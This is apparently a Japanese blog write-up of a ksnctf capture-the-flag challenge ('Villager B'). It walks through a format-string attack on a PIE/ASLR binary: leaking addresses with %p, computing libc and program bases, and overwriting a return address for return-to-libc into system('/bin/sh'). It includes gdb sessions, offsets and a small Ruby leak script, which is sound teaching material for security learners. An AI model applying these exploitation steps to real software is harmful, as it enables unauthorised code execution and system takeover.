![[ksnctf] Villager B [ksnctf] Villager B](/images/f/2/f/4/d/f2f4d5306a5835c3dea034359857cc29878e60c5-23a.png)
ksnctfにチャレンジ 第23問目です。
※ksnctfは常駐型のCTFサイトです。 ※問題のページはコチラです。
Villager B
一度はFLAGゲットまでたどり着いたものの 書いたコードを実行すると接続が切れたり切れなかったりで 不安定なので原理だけ書きます。
基本的には VillagerA と同じように 書式文字列攻撃を使って メモリを書き換え命令をすり替えていきます。
ただし、 -pie などが有効になっており、 Aのように 決まったアドレスをピンポイントで書き換えるような コードを作ることはできません。
プログラムやライブラリは毎回ランダムな位置に割り当てられ call などでジャンプするアドレスもプログラム起動時に よろしく書き換えられるため、バイナリを覗いても実行時の アドレスがわからないようになっています。 (ただし、割り当てられたオブジェクトの中でのオフセットに関しては objdump 等で確認することができます。)
このような状況では適切にメモリを書き換えることは難しいですが 幸いにも今回は 繰り返し書式文字列攻撃が可能 なのでやりようがあります。
まず準備段階として %x などを使って スタックの中身を探し アドレスが推測可能な値を拾ってきます、 次のそのアドレスから libc や main() , stack などの 起点となるアドレスを算出し、本番のメモリ書き換えを行います。
次にどのようにメモリを書き換えるか ですが スタックやヒープで任意のコードを実行することができないため return-to-libc という手法を使います。 これは スタック上に記録されたリターンアドレスを本来のものから libc内の関数のアドレスに書き換えておくことで、 任意の libc関数なら呼び出せるよ という手法です。
特に system() が狙いめで
スタック上の (return) ---- ------- リターンアドレスと周囲のメモリを (system) XXXX *arg このように書き換えると (XXXXはダミー)
system(arg)
を実行したのと同じスタック構造になります。 よってこの形を目指せばいいわけです。
gdb を使って実験してみます。
$ gdb ./villager
(gdb) set disable-randomization off …①
(gdb) start
(gdb) disas main
Dump of assembler code for function main:
…
0x565cb8e0 <+48>: movl $0x3,(%esp)
0x565cb8e7 <+55>: call 0xf74412e0 <sleep>
0x565cb8ec <+60>: call 0x565cb7f0 <_Z4convv> …②
0x565cb8f1 <+65>: test %al,%al
0x565cb8f3 <+67>: je 0x565cb8e0 <main+48>
…
(gdb) disas _Z4convv
Dump of assembler code for function _Z4convv:
…
0x565cb86e <+126>: mov %ebx,(%esp)
0x565cb871 <+129>: call 0xf73d4e40 <printf> …③
0x565cb876 <+134>: movl $0x565cba13,(%esp)
…
(gdb) break *_Z4convv+134 …④
まずここまで確認します。 ①は gdb がデフォルトでASLRを無効にしているので 無効にするのを無効にして ASLRを有効にしてから start します。 この段階で 各種オブジェクトのメモリ上の位置が決定します。
②周辺が基本のループです。 3秒 sleep してから _Z4convv を呼び出し また戻ることを繰り返しています。 つまり、 conv 実行中 スタックのどこかに 0x565cb8f1 <+65> という値がリターンアドレスとして書き込まれているはずです。 このリターンアドレスを書き換えることで攻撃可能なだけでなく このアドレスから objdump で調べたオフセットを引けば プログラムがロードされた場所もわかります。
③は書式文字列攻撃が可能な printf の位置です。 ④ 書式文字列攻撃直後に breakpoint を設置しておきます。
これで
(gdb) step
Single stepping until exit from function main,
which has no line number information.
Welcome
What's your name?
PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING /bin/sh
Hi, PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING PADDING /bin/sh
Breakpoint 2, 0x565cb876 in conv() ()
こんな値を入れてみました。 ここで
(gdb) x/1s $esp+100
0xffb67454: "/bin/sh\n"
(gdb) x/1wx $esp+316
0xffb6752c: 0x565cb8f1
こうなっていることが確認できます。 0x565cb8f1は conv() -> main() へのリターンアドレス /bin/sh はスタックに配置したコマンド用の文字列ですが 環境変数やlibcなどから必要な文字列を稼いでもOKです。
例えば 配布の libc.so.6 を調べると
$ strings -a -tx libc.so.6 | grep /bin/sh
156804 /bin/sh
libcの先頭から +0x156804 のところに /bin/sh という 文字列が入っているので、 libcの先頭アドレスさえわかれば 上記の例のように PADDING /bin/sh でデータを配置しなくても 大丈夫です。
また上記テストで使っている $esp+X のオフセットは
(gdb) x/40x $esp
(gdb) x/40s $esp
(gdb) x/80wx $esp
このあたりのコマンドで で探し出しています。
ここから
(gdb) print system
$1 = {<text variable, no debug info>} 0xf73c6080 <system>
libc内 system 関数のアドレスを調べて メモリを書き換えてみます。
本番では 配布の libc.so.6 を ダンプすると
$ objdump -D libc.so.6 | grep __libc_system
0003af60 <__libc_system>:
このようになっているので libcの先頭アドレス +0x3af60 を使えばOKです。
(gdb) set {int}($esp+316)=0xf73c6080 … system()
(gdb) set {int}($esp+320)=0x0 …後は野となれ山となれ
(gdb) set {int}($esp+324)=($esp+100) … "/bin/sh"
これでOKです。
(gdb) step
(gdb) step
(gdb) step
sh-4.3$
conv() から main() に処理が帰るはずのタイミングで スタックが sytem("/bin/sh") の形になったため シェルが起動しました。 あとは cat /home/hiroumauma/flag.txt でFLAGの代わりが表示できることが 確認されました。 /bin/sh ではなくて直接 cat 〜 を実行させることも可能です。
以上が原理です。
実戦では以上の仕組みを発動するためにまず メモリダンプを利用した必要アドレスの算出が必要です。
本物の強者は使用環境などを考慮して計算できるのかもしれませんが 上手く行かなかったので手数で勝負です。 手元で適当に調べても OSやライブラリのバージョン違いで スタックの様子がちょっと変わるので簡単に綺麗に計算できる 方法ってあるのでしょうか…?
ともあれまず、%p を用いてスタックに積まれたデータを覗いて いって、使え"そうな" アドレスをリストします。 次にそれらのアドレスに %s を使って出力をダンプします。
使えそうなアドレスが使えないアドレスだったら Segmentation faultが発生してだめですが、 本当に使えるアドレスであれば \0 が出るまでのアドレス周辺データの ダンプが可能です。 スタックに積まれたアドレスなので、 そのアドレスは .text 領域を指していることも多いわけです。
となれば、%s で吐き出されたデータと villager や libc.so のバイナリ内部で一致する部分を見比べれば、 最初に %p で目星をつけたアドレスが a.out / libc + 特定offset を指していることが特定できるわけです。
これを事前に調べておけば まず %p でアドレスを取得 次にそのアドレス - 調べたオフセット で a.out や libc の先頭アドレスが判明
先頭アドレスにこれまた調べておいた system や "/bin/sh" などのオフセットを加えると 毎回ランダムな system() などのアドレスが算出できる
という流れです。 他にもスタック周辺のデータが見えるようなアドレスを引けば そこからリターンアドレスが書き込まれたスタック上の アドレスとのオフセットを調べて書き換え先のアドレスも 分かると思います。
あとは算出できた値を元に実験と同じようにgdbのsetコマンドの代わりに いつもの %n を用いて スタックに system() と "/bin/sh" のポインタを書き込めば シェルが起動します。
最後に シェルに cat /home/q23/flag.txt などを投げれば フラッグが取得できます。
例えば手元の環境で雑な目視ダンプをやってみると
$ ./villager
Welcome
What's your name?
%79$p
Hi, 0x566408f1
Here is Despair Town...
手元では毎回 %79$p を行うと 0x?????8f1 という値が帰ってきます。
メモリ上のランダムな位置とはいっても、 キリの悪い場所は使いにくいため普通は 0x1000 ごとのキリの良いアドレスが先頭に使われるので 下3桁は保存される場合が多いため目安になります。
ここを
What's your name?
%79$s
Hi, ��t��□$4
Sでダンプするとごちゃっと表示されました。
ksnctfのサーバーに繋いでも同じような状態になります。
ではこのごちゃっとしたデータがなんなのかを調べます。
What's your name?
%79$p
Hi, 0x565558f1
Breakpoint 2, 0x56555876 in conv() ()
(gdb) disa
disable disassemble
(gdb) disassemble 0x565558f1
Dump of assembler code for function main:
0x565558b0 <+0>: push %ebp
〜〜 略 〜〜
0x565558ec <+60>: call 0x565557f0 <_Z4convv>
0x565558f1 <+65>: test %al,%al ←ここ
gdb下でも同じことすれば この末尾 8f1 のアドレスは conv() からの戻りアドレスとして スタックに積まれたアドレスとわかります。 objdump の結果から この 末尾8f1の部分はa.out先頭から ズバリ 0x8f1の部分に割り当てられるので
a.outの先頭アドレスは %79p で表示されたアドレスから -0x8f1(=2289) したアドレスだとわかります。 これで
#!/usr/bin/ruby
require 'open3'
def talk(stdin, stdout, msg)
stdout.readline #What's your name?
stdin.puts(msg)
res = stdout.readline
res = res.match('Hi, (\w+)')[1]
stdout.readline #Here is Despire Town
stdout.readline #
return res
end
Open3.popen3('./villager') do |stdin, stdout, stderr, thread|
stdout.readline #Welcome
base = talk(stdin, stdout, '%79$x').to_i(16) - 2289
puts 'a.out = 0x' + base.to_s(16)
end
こんな感じでスクリプトで必要なアドレスが計算できる ことが確かめられます。
あとは同じように使えるアドレスを集めればいいのですが 一つ問題なのはあまりスタックを掘り進めると 環境の違い(libcのバージョン違い等?)により手元とksnctfサーバーで 使える場所がちょっとズレたりします。
また、ksnctf側でセキュリティ対応のため libc のバージョンが 上がることもあり、その場合以前の値は使えなくなります。
っというわけで 本来ならちゃんと論理的方法で適切なアドレスを使うべきですが 結局色々やってみて行けるアドレスを探していくと言う戦法でも なんとかいけるパターンもあります。
参考アドレス
%2$p : _IO_2_1_stdin_(libc周辺)
%78$p : スタック周辺
%79$p : main+65 convからの戻り先
%83$p : libc周辺
〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜
もうちょっと追記しておきます。 スタック周辺のアドレスは例えば
(gdb) step
Single stepping until exit from function main,
which has no line number information.
What's your name?
%78$p
Hi, 0xffb14e08
ここから出てきます。 このときgdbで書き換えたいスタック上のアドレスを調べて
(gdb) print $esp+316
$2 = (void *) 0xffb14ddc
書き換えに使いたいアドレスとの差を計算すると
0xffb14e08 - 0xffb14ddc = 44
となり、なんどか試してもこの値は一定になっています。 使えそうですね。
次に libc 周辺のアドレスを調べます まず libc.so.6 について 手元のFedoraでは
$ objdump -D libc.so.6 > dump
$ cat dump | grep libc_system | head -n 1
0003e290 <__libc_system>:
$ cat dump | grep IO_2_1_stdin | head -n 1
001d7580 <_IO_2_1_stdin_>:
こうなっています。 このとき
0x1d7580 - 0x3e290 = 1676016
です。
次に gdbにて
(gdb) step
Single stepping until exit from function main,
which has no line number information.
Welcome
What's your name?
%2$p
Hi, 0xf7da2580 …①
(gdb) print system
$1 = {<text variable, no debug info>} 0xf7c09290 <system> …②
①%2$p と ②system() のアドレスを調べてこの差を計算してみると
0xf74bc580 - 0xf7323290 = 1676016
このように差が一致していることが分かると思います。 よって
system() = {%2$p} - 1676016
と計算できます。 この差は手元の環境の libc のものなので実際は 配布の libc で同じ作業をすればOKです。
ここまでで 書き換え先のアドレス と その値が算出できるはずです。 冒頭の gdb での setコマンドが
アドレス [ {%78$p}-44 ] に 値 [ {%2$p}+{system()とのオフセット} ]
アドレス [ {%78$p}-40 ] に 任意の値
アドレス [ {%78$p}-36 ] に 値 [ {%2$p}+{"/bin/sh"とのオフセット} ]
というフォーマット攻撃と置き換えることができるようになりました。 あとは適当なスクリプト言語で書き込めばOKです。